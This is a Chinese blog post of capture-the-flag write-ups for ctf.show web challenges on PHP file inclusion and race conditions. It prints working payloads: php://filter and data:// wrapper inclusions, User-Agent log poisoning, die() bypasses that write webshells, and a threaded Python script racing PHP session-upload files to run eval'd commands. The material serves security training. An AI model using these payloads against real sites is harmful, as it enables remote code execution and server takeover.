条件竞争


文件包含

基本也就是include这一类的了

web78

1
2
3
4
5
6
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

然后?file=php://filter/read=convert.base64-encode/resource=flag.php
拿到flag

web79

1
2
3
4
5
6
7

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);

这里就是不允许你出现php的相关内容
这里就是使用data的

1
2
?file=data://text/plain,<?=system('ls');?>
?file=data://text/plain,<?=system('tac flag*');?>

web80

这里和前面遇到的某一道题目还是很类似的

1
2
3
4
5
6
7
8
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

这里就不能使用file和data协议了
但是可以正常包含,采用包含日志文件的方式,常见就是改ua了
可以看到网站时Nginx的一个架构
?file=/var/log/nginx/access.log查看日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: c9c174a4-0e4a-4e82-bbf1-6e38e58cc512.challenge.ctf.show
Cache-Control: max-age=0
Sec-Ch-Ua:
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36 <?php system('ls'); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


最后修改里面的命令拿到flag

web81

做完这道题,你就已经经历的九九八十一难,是不是感觉很快?
没关系,后面还是九百一十九难,加油吧,少年!

1
2
3
4
5
6
7
8
9
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

和上一道题目的思路是一样的

web87

继续秀
这道题又回归文件包含了

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

这里的这个.也被禁用了,还有就是我们需要额外进行一次url编码
这道题首先要直到file_put_contents的用法,file_put_content可以读取本地文件(如果没有这个文件,则会自动创建一个,如果有就会将这个文件中的内容覆盖为后面要传入的)首先第一个是打开文件的路劲,第二个是要对这个写入的内容,但是后面有了一个的函数,我们需要让它不执行,这里就要涉及到base64可以绕过die函数
因为base64编码的范围是因为base64编码范围是0 ~ 9,a ~ z,A ~ Z,+,/ ,所以除了这些字符,其他字符都会被忽略掉
因为base64解码为四个字节一组,并且base64编码中只包含64个可打印字符。其他的字符都将被忽略掉,故原来的代码经过base64解码会编程phpdie。因此需在后面加两个字节变成8个字节,前面的file参数用php://filter/write=convert.base-decode来解码写入,这样文件的die()就被过base64过滤,这样die()函数就被绕过了
所以我们只要在前面利用伪协议来将文件内的内容进行一个base64编码再执行就可以绕过die()
还有就是这里的urldecode函数,会将file的内容解码,所以file参数的内容
要经过url编码再传递。同时网络传递会对url编码的内容解一次码,所以需要对内容进行两次url编码
因为我们对目标文件写入的内容是前面那个代码和后面我们传入参数content的,所以我们还需要将写入的代码进行base64编码,而decode会对文件内容进行解码
对file传参,就是一个php伪协议来读取文件内容

1
2
3
4
/?file=php://filter/write=convert.base64-decode/resource=1.php
//两次urlencode后
/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

对content传参,需要注意的是,前面的中,我们是假设可以对其解码会成为phpdie,但是这里是六个字节被解码,但是base64解码是以4个字节为一组,所以我们还需要多给它两个字节,因为传入内容是和后面的传入参数的值拼接而成的,所以我们可以在后面参数的前两个字符随便写两个垃圾字符来帮助它能解码,避免解码出现问题
两步同时操作,最后再访问1.php

1
2
3
content=<?php system('tac f*.php');?>
//base64编码
content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=

web88

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);

这里就是过滤了很多东西,然后让你来Include和前面的又不一样的
然后输入

1
2
?file=data://text/plain;base64,PD89c3lzdGVtKCJ0YWMgZmwwZy5waHAiKTsgPz4
<?=system("tac fl0g.php"); ?>

web116

一进去就是播放一个视频,感觉就像是包含了一个视频进来。但是就是这个不让你查看网页源代码,我们试试ctrl+u
不行,我们先打开百度,然后鼠标右键选择检查
最后再把百度的url换为比赛题目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */

"use strict";

// Hide our variables from the web content, even though the spec allows them
// (and the DOM) to be accessible (see bug 1474832)
{
// <video> is used for top-level audio documents as well
let videoElement = document.getElementsByTagName("video")[0];

let setFocusToVideoElement = function (e) {
// We don't want to retarget focus if it goes to the controls in
// the video element. Because they're anonymous content, the target
// will be the video element in that case. Avoid calling .focus()
// for those events:
if (e && e.target == videoElement) {
return;
}
videoElement.focus();
};

// Redirect focus to the video element whenever the document receives
// focus.
document.addEventListener("focus", setFocusToVideoElement, true);

// Focus on the video in the newly created document.
setFocusToVideoElement();

// Opt out of moving focus away if the DOM tree changes (from add-on or web content)
let observer = new MutationObserver(() => {
observer.disconnect();
document.removeEventListener("focus", setFocusToVideoElement, true);
});
observer.observe(document.documentElement, {
childList: true,
subtree: true,
});

// Handle fullscreen mode
document.addEventListener("keypress", ev => {
// Maximize the standalone video when pressing F11,
// but ignore audio elements
if (
ev.key == "F11" &&
videoElement.videoWidth != 0 &&
videoElement.videoHeight != 0
) {
// If we're in browser fullscreen mode, it means the user pressed F11
// while browser chrome or another tab had focus.
// Don't break leaving that mode, so do nothing here.
if (window.fullScreen) {
return;
}

// If we're not in browser fullscreen mode, prevent entering into that,
// so we don't end up there after pressing Esc.
ev.preventDefault();
ev.stopPropagation();

if (!document.fullscreenElement) {
videoElement.requestFullscreen();
} else {
document.exitFullscreen();
}
}
});
}

这个是js代码

先下载视频,然后使用binwalk查看, binwalk xxx.mp4 发现内含PNG图片, 然后将PNG文件分离出来 binwalk -e xxx.mp4 -D PNG 然后得到图片, 图片内容大致为:

发现file参数可以执行文件包含, 因此payload为: ?file=flag.php
这个确实有点抽象和misc的意思了

web117

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

这里对比前面那道题区别就是把你的base64给禁用了

1
2
3
4
5
6
7
8


?file=php://filter/convert.iconv.UCS-2BE.UCS-2LE/resource=fuck.php

contents=?<hp pvela$(P_SO[T]1;)>?

利用convert.iconv.UCS-2BE.UCS-2LE过滤器

还是比较奇怪的,这要是感觉这类题目我做少了

条件竞争

条件竞争

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的。开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果,简而言之就是并没有考虑线程同步。因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生
系统中,最小的运算调度单位是线程,而每个线程又依附于一个进程,条件竞争则是多进程,或多线程对一个共享资源操作,因为操作顺序不受控的时候所产生的问题
进程是为了更好的利用CPU的资源;进程是系统进行资源分配和调度的一个独立单位;每个进程都有自己的独立内存空间,不同进程通过进程间通信来通信;由于进程比较重要,占据独立的内存,所以上下文进程间的切换(栈,寄存器,虚拟内存、文件句柄等)比较大,但是相对来说比较安全稳定
线程是为了降低上下文的切换,提高系统的并发性,并突破一个进程只能干一件事的缺陷,使到进程内并发成为可能。线程是进程的一个实体,是CPU调度个分派的基本单位,他是比进程更小的能独立运行的基本单位。线程自己基本上不拥有系统资源,只拥有一点在运行中必不可少的资源。但是它可与同属一个进程的其他的线程共享所拥有的全部资源。线程间通信主要通过共享内存,上下文切换很快,资源开销较少,但相比进程不够稳定容易丢失数据
session变量用于存储用户会话的信息,或者更改用户会话的设置。session变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的

漏洞分析

攻击者不断地发起访问请求访问该文件,该文件一旦被执行,就会在服务器上生成一个恶意地shell文件
首先上传一个php文件,然后检测文件后缀名,如果不符合操作,就删掉,虽然php代码在执行的时候是线性执行代码的,但是执行的时候可以有多个线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
header("Content-Type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$ext = substr($filename,strrpos($filename,'.') + 1); #后缀

$path = 'uploads/' . $filename;
$tmp = $_FILES['file']['tmp_name'];
if(move_uploaded_file($tmp, $path)){
if(!preg_match('/php/i', $ext)){ #判断后缀是否为php
echo 'upload success,file in '.$path;
}else{
unlink($path); #已经上传后判断若是PHP则删除
die("can't upload php file!");
}
}else{
die('upload error');
}

继续上传一个php文件

1
2
3
4
5
<?php
$content='<?php system($_GET["c"]);?>';
file_put_contents('test.php',$content);
?>

在执行完move_uploaded_file之后,执行unlink之前,此时这个php文件是已经保存到了web服务器上的,并且我们能够访问。

如果上传的php的功能是写一句话到一个php文件,这样我们在删除之前访问该文件,就会生成一个一句话木马,就可以得到webshell。 所以我们使用多线程并发的不断访问上传的文件,务器中的函数执行都是需要时间的,如果我上传上去的文件在没被删除的时候,一旦成功访问到了上传的文件,那么它就会向服务器写入shell。

一般而言,我们是上传了文件,但是最后却因为过滤或者因为其他原因被删除了,那么我们可以使用条件竞争,我们实际上是和unlink,以及删除文件的函数进行竞争。文件被访问了依旧可以删除,它删除跟我访问没有任何关系

web82

1
2
3
4
5
6
7
8
9
10
11

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

这里就是会有很多的替换,所以怎么拿到flag?
我们在 Cookie 里设置了 PHPSESSID=test,PHP 将会在服务器上创建一个文件:/tmp/sess_test,但是对于默认配置 session.upload_progress.cleanup = on,文件上传后 session 文件内容会立即被清空,我们需要通过条件竞争,在服务器还未来得及删除我们上传的session 文件内容前,成功访问包含到该文件,实现恶意代码的命令执行
首先我们要有一个关于这道题目的文件上传框
注意替换为你自己题目的地址,并将文件命名为.html后缀,双击打开即可,其中value=”“其实就是我们的payload,即我们希望执行的恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<body>
<form action="https://116239ec-15bb-40ab-83a3-66842f121e6e.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls'); ?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

双击打开页面,开启bp拦截本地请求,随便选择一个文件上传进行提交
使用bp抓包,然后发给攻击模块
按照前面说的利用点,我们需要对Cookie进行添加:PHPSESSID=exp
接下来就是条件竞争的设置,这里不涉及什么参数的爆破,因此清空$
paoload选择null,并且勾选上无限重复
最大并发请求数设置30
之后开始攻击,我们就会不断上传一个包含了恶意代码的文件
回到题目所在页面,我们需要抓一个访问包,访问的文件是上面我们自定义的

1
?file=/tmp/sess_exp

因为我们前面也说了,我们在 Cookie 里设置了 PHPSESSID=test,PHP 将会在服务器上创建一个文件:/tmp/sess_test。

使用 burpsuite 抓包
这里还是选无限攻击的,但是访问包的线程数是要远大于上传包的线程数,这里以80为例
过了一会筛选长度,即可发现条件竞争成功的包
最后就是ls命令执行成功
还有就是相关脚本来实现
感觉到了时间这个也不开session,打不了

web83

1
2
3
4
5
6
7
8
9
10
11
12
13
14
session_unset();
session_destroy();

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);

include($file);
}else{
highlight_file(__FILE__);
}

新增两个函数、

1
2
session_unset();
session_destroy();

两者都是 PHP 中与会话(session)管理相关的函数,用于清除和销毁会话数据。

session_unset():

作用: 清空当前会话中的所有变量。

使用场景: 当你希望保留会话但清除会话中的数据时使用。例如,你可能想让用户保持登录状态,但重置会话中的特定数据。

示例:

1
2
3
4
5
session_start(); // 开始会话
$_SESSION['username'] = 'John'; // 设置会话变量
session_unset(); // 清空所有会话变量
echo isset($_SESSION['username']); // 输出: bool(false)

session_destroy():

作用: 完全销毁会话,包括会话数据和会话ID。

使用场景: 当你希望用户完全登出或结束会话时使用。例如,用户点击“注销”按钮时,通常会调用此函数。

示例

1
2
3
4
session_start(); // 开始会话
$_SESSION['username'] = 'John'; // 设置会话变量
session_destroy(); // 销毁会话
echo isset($_SESSION['username']); // 输出: bool(false)

session_unset()只是清空会话变量,但会话仍然存在。
session_destroy()完全销毁会话,包括会话数据和会话ID。
两者常常一起使用,以确保会话数据被清除,并确保会话本身被销毁

1
2
3
session_start(); // 开始会话
session_unset(); // 清空所有会话变量
session_destroy(); // 销毁会话

这两个函数对于我们这里的条件竞争影响不大,在第一题中我们已经介绍过利用的原理了,因此后面我就不再演示手动的步骤,直接使用脚本来打
这里给到另一个脚本,我们直接执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#coding=utf-8

import io
import requests
import threading
sessid = 'exp'
data = {"cmd":"system('whoami');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'https://ff5baee2-33e9-4249-8188-b79f81296793.challenge.ctf.show/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('test.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('https://ff5baee2-33e9-4249-8188-b79f81296793.challenge.ctf.show/?file=/tmp/sess_'+sessid,data=data)
if 'test.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()

for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()

web84

1
2
3
4
5
6
7
8
9
10
11
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}

新增 system(“rm -rf /tmp/*”); 删除我们上传的文件,其实 session.upload_progress.cleanup = on 本身就会进行清空,所以这里对我们利用影响不大
还是用上一道题目的脚本,改一个地址

web85

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}

}else{
highlight_file(__FILE__);
}
1
2
3
4
5
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}

file_get_contents 函数将会读取文件的全部内容并将其作为字符串返回,strpos($content, “<”) 查找字符串 $content 中首次出现字符 < 的位置,如果其位置索引大于 0,则会停止执行并输出 error 信息。

对我们条件竞争不影响,沿用上面的脚本

web86

代码解释:

define 函数用于定义一个常量。在这里,它定义了一个名为 还要秀? 的常量。
dirname(FILE) 返回当前文件所在的目录路径。FILE 是一个魔术常量,表示当前文件的完整路径和文件名,而 dirname(FILE) 则获取当前文件的目录部分。
因此,这行代码将当前文件的目录路径赋值给名为 还要秀? 的常量。

set_include_path 函数用于设置 PHP 包含文件的搜索路径,在这里,它将包含路径设置为 还要秀? 这个常量的值,即当前文件的目录路径。

设置 PHP 的包含路径为当前文件的目录路径。这样在后续代码中使用 include() 时,可以省略文件的完整路径,只需提供文件名。

当使用 include()、require()、include_once() 或 require_once() 时,如果提供的路径既不是绝对路径也不是相对路径,PHP 会首先在 include_path 设置的目录中查找文件。

我们条件竞争进行包含的文件是一个完整路径,即 /tmp/sess_exp,因此不影响


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录